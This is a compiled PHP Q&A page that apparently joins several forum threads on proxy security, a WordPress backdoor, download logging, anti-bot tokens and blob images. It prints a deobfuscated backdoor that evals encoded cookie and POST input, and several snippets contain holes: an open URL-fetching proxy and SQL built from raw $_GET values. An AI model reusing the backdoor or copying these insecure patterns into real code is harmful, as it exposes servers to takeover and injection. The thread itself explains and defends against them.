Secure a php proxy? - php

So on my site (https://example.com) I have a page that parses the last.fm API and pulls back the images off their akamai CDN and displays them on the page.
The thing is all the images are served on HTTP ONLY, https is not supported.
e.g: http://userserve-ak.last.fm/serve/64s/76030502.png
I have an image proxy written in php:
<?php
header('Content-Type: image/png');
if(isset($_GET['img'])){echo file_get_contents($_GET['img']);}
?>
This works perfectly, however, is NOT secure at all, I want it so that only my server can use the image proxy and as such a hash in the URL might be the best option?
https://example.com/proxy.php?url=http://last.fm/image.jpg&hash=hashhere
I had thought of using:
md5($_GET['img']."privatekeyhere");
Then my problem turned to, how to I put the private key in the javascript code without the whole world having access to it?
Any help much appreciated.
I have since written this script that is somewhat effective but still open to being circumvented:
<?php
$args = $_GET['q'];
$date = date('m-d-Y-h-i', time());
list($hash,$img,$auth) = explode("/", $args);
if($hash=="need" && $auth=="key"){
$checksum = md5($img.$date);
echo $checksum;
}
if($hash==md5($img.$date))
{
header('Content-Type: image/png');
echo file_get_contents('http://userserve-ak.last.fm/serve/64s/' . $img);
}
?>
This can be called like so: https://www.mylesgray.com/lastfm/need/76030502.png/key
The auth code can then be plugged in to display the image: https://www.mylesgray.com/lastfm/{code-here}/76030502.png
However it doesn't take long for someone to figure out they can set up a script to poll for a key every minute - any advice?

Generate unique tokens. You're on the right track with a hash, but if you keep your private key constant, it'll eventually get brute-forced. From there, rainbow tables say hi.
You're effectively going to have to borrow a leaf or two from mechanisms used to prevent CSRF abuse, as you're effectively trying to do the same thing: limit the user to one query per token, with a token that cannot be regenerated by them.
There are tons of ways to do this, and the usual trade-off is between efficiency and security. The simplest is what you've suggested - which is easily brute-forceable.
At the opposite end of the spectrum is the DB approach - generate a unique token per visit, store it in a DB, and validate subsequent calls against this. It is pretty DB-intensive but works out relatively well - and is virtually impossible to break unless the token generation is weak.

Related

What does this (virus?) code do?

I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.

Host file, log download, and host stats via PHP?

I'm a .NET guy attempting a PHP thing here, so am totally out of my comfort zone right now. What I THINK I want to do is to have 3 files:
download.php:
(a) contains a lookup of IDs to filenames (so download.php?file=11 querystring tells me I should host abc.zip)
(b) Some code to log this download to stats.log
(c) A couple header() calls and a readfile() call, similar to the answer to this question
stats.log: A simple log file that might look like the following example. This allows for logging to be accomplished by simply appending a line of text yet allows me to condense it from time to time.
abc.zip 1234
xyz.zip 4321
abc.zip 1
abc.zip 1
abc.zip 1
xyz.zip 1
abc.zip 1
stats.php: This is ultimately the PHP file that serves the stats. They can be real-time or near real-time, perhaps re-reading the file every minute and caching it or whatever. I don't really care and this won't be hit all that often but I do need to make sure that this isn't a stupidly expensive operation. This need not be a pretty page. Something so a human can easily read it is all that matters, so no fancy requirements there. For the above example of stats.log, I'd like this to serve something like the following:
abc.zip: 1238 downloads
xyz.zip: 4322 downloads
Ultimately, I don't want a database or any other systems involved in this. I only have FTP access to the server, so I can't really do much other than place scripts into the directory. I realize that I'll need to make sure that the script has write permissions to stats.txt, which is fine.
So my questions. I have a number of them but I believe they're all quite easy for somebody who knows PHP.
I think I have the hosting portion of download.php understood by setting headers and using readfile. However, how could I have a collection of key/value pairs representing file ids and filenames? If I were in .NET, I could do something like: var foo = new Dictionary<int, string> {{11, "abc.zip"}, {12, "xyz.zip"}} but I don't have a clue what this looks like in PHP.
How do I get querystrings? I need to pull from the URL "stuff/download.php?file=11" and take the 11 to grab my "abc.zip" out of my lookup collection.
How do I write the newline to my stats.log file?
How do I loop through my stats.log file in my stats.php script to count up and host these stats?
Bonus question: How do I cache the results from step 4 and only read the file once every minute/hour/or whatever?
I can probably fill in some gaps if somebody can answer at least most of these questions, but help sure would be appreciated! :)
1- You are looking for array e.g.
$files=array(11=>'abc.zip',
12=>'xyz.zip');
2- The Query String is accessed by the super global $_GET, so in your case $_GET['file'] holds that data you are interested in.
3,4,5
I would recommend storing the information JSON encoded. e.g.
$rawInfo=file_get_contents('stats.log');
$Info=json_decode($rawInfo,true);
if(isset($Info[$_GET['file']])){
$Info[$_GET['file']]++;
}else{
$Info[$_GET['file']]=1;
}
$rawInfo=json_encode($Info);
$h=fopen('stats.log','c');// If $h is false, you couldn't open the file
flock($h,LOCK_EX);// lock the file
$b=fwrite($h,$rawInfo);// if $b is not greater than 0, nothing was written
flock($h,LOCK_UN);
fclose($h);
//And then actually serve the file requested
This has the advantage of storing the information already in a useful format.
Whenever you fetch out the json_decodeed data, it is in the format of an array, which you will need to know how to handle.
stats.php might look something like this:
$rStats=file_get_contents('stats.log');
$Stats=json_decode($rStats,true);
foreach($Stats as $k=>$v){
echo $k.': '.$v.' download'.($v==1?'':'s');
}
I could have never done this so easily without #Shad's help in the accepted answer. As such, I wanted to post my final solution here that should work for practically anybody. This allows "direct links" (i.e. no 301/302 or other kinds of redirects) to function properly (right-click -> save as works too) while still logging downloads. NOTE that this is fairly "resource heavy" and some shared hosts may get upset with using something like this but as far as I can tell, this shouldn't really be a major drain. My files I'll be hosting are ~3-15MB and won't have a TON of downloads, so I'm not too worried about this in my scenario but if you use this solution, be very aware of this fact!
download.php:
<?php
$fileLookup = array(
0=>'subdir/test.zip',
1=>'another/sub/dir/test2.zip'
);
$currentRelativeFileName = $fileLookup[$_GET['file']];
$currentFileName = basename($currentRelativeFileName);
$rawInfo=file_get_contents('stats.log');
$Info=json_decode($rawInfo,true);
if(isset($Info[$currentFileName])){
$Info[$currentFileName]++;
}else{
$Info[$currentFileName]=1;
}
$rawInfo=json_encode($Info);
$h=fopen('stats.log','c');// If $h is false, you couldn't open the file
flock($h,LOCK_EX);// lock the file
$b=fwrite($h,$rawInfo);// if $b is not greater than 0, nothing was written
flock($h,LOCK_UN);
fclose($h);
header("Content-type: application/octet-stream");
header("Content-disposition: attachment; filename=" . $currentFileName);
readfile($currentRelativeFileName);
?>
stats.php:
<html>
<head>
<title>Here are my stats!</title>
</head>
<body>
<?php
$rStats=file_get_contents('stats.log');
if (strlen($rStats) > 5){
$Stats=json_decode($rStats,true);
foreach($Stats as $k=>$v){
echo $k.': '.$v.' download'.($v==1?'':'s') . '<br />';
}
}else{
echo 'No downloads';
}
?>
</body>

Response when requested by the Original code - PHP

As proposed by Stopping Bot [SO] - PHP i've developed a anti-bot system in PHP which code can be viewed at https://codereview.stackexchange.com/questions/2362/anti-bot-comment-system-php
But anyone can obtain a token by viewing getToken.php
In SO they get the token from stackauth.com [i think so by viewing page code], but when i browsed it it just showed some text !
How can i do something like that ? [token to be passed only when requested by the code, not by the browser]
The process of generating and verifying token
in the form page
$hash=sha1($time.$myKey);
echo $time.'#'.$hash;
In the poster/verification page
$token=explode($_POST['token'],'#',2);
if (sha1($token[0].$myKey)==$token[1])
echo 'A good Human';
Edit
I do not store used token in the database, and a token get expired after [say] 5 minutes !
Think a bad user gets the token 2011-05-18 11:10:12#AhAShKey000000000 he can use the token to submit random text to 2011-05-18 11:15:12, how can i fix this issue ?
Not totally sure this is the answer you're after, but...
Load the token statically in the page, instead of with Ajax. Then you know that the form page was loaded for sure.
You can use ftok(__FILE__,'T'); - and token will be unique on each system.
Instead of T you can use any letter, read Manual.
As example, in your getToken.php you can replace:
$hash=sha1($key.'mySecretKey');
with
$hash=sha1($key.ftok(__FILE__,'T'));
This function exists only in linux/unix-based systems.
That won't stop anything, in fact it'll only add more strain on your server.
Use hashcash instead (Wordpress plugin).
Nothing is going to completely stop this kind of activity. For the 99.99999999999% case though, a method that uses a server side component plus something that uses javascript to do a transform on the the data you get back from the server is going to stop the majority of bots that are out there (unless they're based on node.js and are using jsdom ;-)).
Well, this is kind of impossible to fix. You can't see if a bot or a browser is viewing your "token page". All things you could check for are also possible to mimic. (Referrers, more hashes or user-agents)
You should ask yourself, what do you want to protect your site from? For a regular bot you methods is okay, it will take way too much time to crack your script and spam just your site. It will just go on and spam someone else. So in that cast your script will give enough protection.
When there is someone targeting just your site and he takes the time to crack it, he will probably succeed. So you also want to keep this kind of bots/people out? I would suggest to display a captcha after, for example, 3 posts within an hour from one IP-address. That will keep them out.
It's not always about being completely secure, your solution could already be good enough... If more protection is required, just use captchas or something like that.
Okay this, as is everything else, is not completely secure.
You could try creating a similar hash with javascript that carries the time and a unique ID of the user and sending that with the request.
You can then even add that to the code generation and verification.
In the absence of this hash, no code is served.
Sort of like a handshake.
After reading all the answer carefully i've developed this [thanx to all the people for their valuable comment and answer]
<?php
$time = microtime();
for ($i=1;$i<=10000;$i++)
generateMath();
echo 'Generating '.$i.' math Took '.(microtime()-$time);
function generateMath()
{
$operands = array(43,45,42);
$val = chr(rand(48,57));
$ope = chr($operands[rand(0,2)]);
$txt = $val.$ope; //42* 43+ 45- 47/
$val2 = chr(rand(48,57));
$txt .= $val2;
$ans = 0;
if ($ope == '+')
$ans = $val + $val2;
else if ($ope == '-')
$ans = $val - $val2;
else if ($ope == '*')
$ans = $val * $val2;
echo $txt.' -> '.$ans.'<br/>';
}
?>
This can be enhanced by adding random number of spaces in $txt = $val.$spaces.$ope.$spaces.$val2;
And it was faster than CAPCHA, people will have to do a really simple math if they post more than 30 or so comments in an hour !

website hacking prevention/minimization

what is the best way to tell my server side script that the submitted form or data is coming from a trusted source or from my website?
Am already performing alot of server side data scrutinize, and think i can improve this more with the client side too
AM a php/mysql developer
To find out the IP of the user who posted the data use:
$ip = $_SERVER['REMOTE_ADDR'];
echo "<b>IP Address= $ip</b>";
According to the IP you can decide whether the user is trusted or not. (for instance if you'd like to trust only a special range of IP-addresses)
Whenever I read posted variables in PHP I use to filter them like that:
function check_string($string) {
// allowed chars: a-z,A-Z,0-9,-,_
if((preg_match('/^[a-zA-Z0-9\-\_]+$/',$string)))
return true;
return false;
}
It would filter all chars which are not a-z, A-Z, 0-9,- or _ and enhances the sites security a little bit. If you've access to your webserver:
Disable server banners (which display OS and apache version for instance), if you have access to the webservers configuration. This information can be very useful for hackers, and you want to disable everything which could help them in any way ;)
Prevent directory listing (for instance with .htaccess files). A simple example would be:
Options All -Indexes
Run the webserver with a limited user account (best would be to chroot the user as well)
Use mysql_real_escape_string in mysql queries and use htmlentities in html posts.
Example:
Wrong:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo $_POST['hai'];
}
?>
right:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo htmlentities($_POST['hai']);
}
?>
$_POST can also be $_GET
wrong:
<?php
$query = "SELECT * FROM table WHERE msg = '". $_GET['hai'] ."'";
?>
right:
<?php
$query = "SELECT * FROM table WHERE msg = '". mysql_real_escape_string($_GET['hai']) ."'";
?>
And don't forget to use htmlentities when you get things out of the mysql table...
Greetings
I've always used a class that handled such issues, it would handle both server/client side and ensure that any input was made from the server itself. It would then validate and ensure it is not given special characters.
http://validformbuilder.org/
Let me know if that helps, it helped me a while ago. :)
I think the best option would be adding a digital signature to requests, even a simple one.
For example your site or the trusted source add the SHA checksum of the request computing it after the addition of a secret "salt" (that is not sent). The server gets the data, adds the same salt and computes the SHA signature, if the SHA matches then the source knew the secret and you can trust the content.
I guess your question implies CSRF... Just generate and add a validation token.
Many frameworks can manage these for you.
Guys, thanks for your help i appreciate it all. Generally i was talking about client side security ie making sure data coming from the client is from original source.
Generally SSL might just have been the answer, after a lot of browsing i found two sites that solves this issue to an extent: aSSL ,and Jquery implementation
This way my data is secured up to a level say 90%
what do you think?

Displaying a Blob back as a Image in php without header("Content-type: image/jpg");

Im pulling the binary data out of my mySql database and want to display it as a image.
I do not want to make a separate page for it to display the image (this would involve a extra call to the databae among other things)
I simply want to be able to do
Pretty much but the $Image variable is in its longblob format and I need to convert it.
THanks in advance.
I know this is not a specific answer to your question, but consider that by removing that database call, you are dramatically increasing your server load, increasing the size of each page and slowing down the responsiveness of your site.
Consider any page stackoverflow. Most of it is dynamic, so the page cannot be cached. but the users' thumbnail is static and can be cached.
If you send the thumbnail as a data URI, you are doing the DB lookup and data transfer for every thumbnail on every page.
If you send it as a linked image, you incur a single DB lookup for when the image is first loaded, and from then on it will be cached (if you send the correct HTTP headers with it), making your server load lighter, and your site run faster!
I do not want to make a separate page for it to display the image
You can base64 encode your image data and include it directly into the markup as a data URI. In most cases, that's not a good idea though:
It's not supported by IE < 8
It (obviously) sizes up the HTML page massively.
It slows down rendering because the browser has to load the resource first before it can finish HTML rendering
Better build a separate script, and make that one extra call.
You could probably do this using Base64-encoded Data URIs.
I'm not sure if it's possible to do straight into a img-tag, but you can do it by setting a background-image for a div.
Basically you change the regular
.smurfette {
background: url(smurfette.png);
}
to
.smurfette {
background: url(data:image/png;base64,iVBORw0KGgo [...] P6VAAAAAElFTkSuQmCC);
}
Data URIs are supported in:
* Firefox 2+
* Safari – all versions
* Google Chrome – all versions
* Opera 7.2+
* Internet Explorer 8+
Info borrowed from Robert Nyman: http://robertnyman.com/2010/01/15/how-to-reduce-the-number-of-http-requests/
$_GET the result into a separate variable i.e. $myvar = $_GET['Id']; before you process the $imageResult line e.g.:
$myid = $_GET['Id'];
$ImageResult = "select player.Image from player where Id = '$myid'";
thanks for the answers, ive decided to go with a separate GetImage.php page but now cant seem to do the simplest of tasks
$ImageResult = "select player.Image from player where Id = " . $_GET['Id'];
$result = mysql_query($ImageResult) or die ("data recovery failed -3");
header("Content-type: image/jpeg");
echo mysql_result($result, 0);
But this returns just a broken link and cannot work out what I have missed out

Categories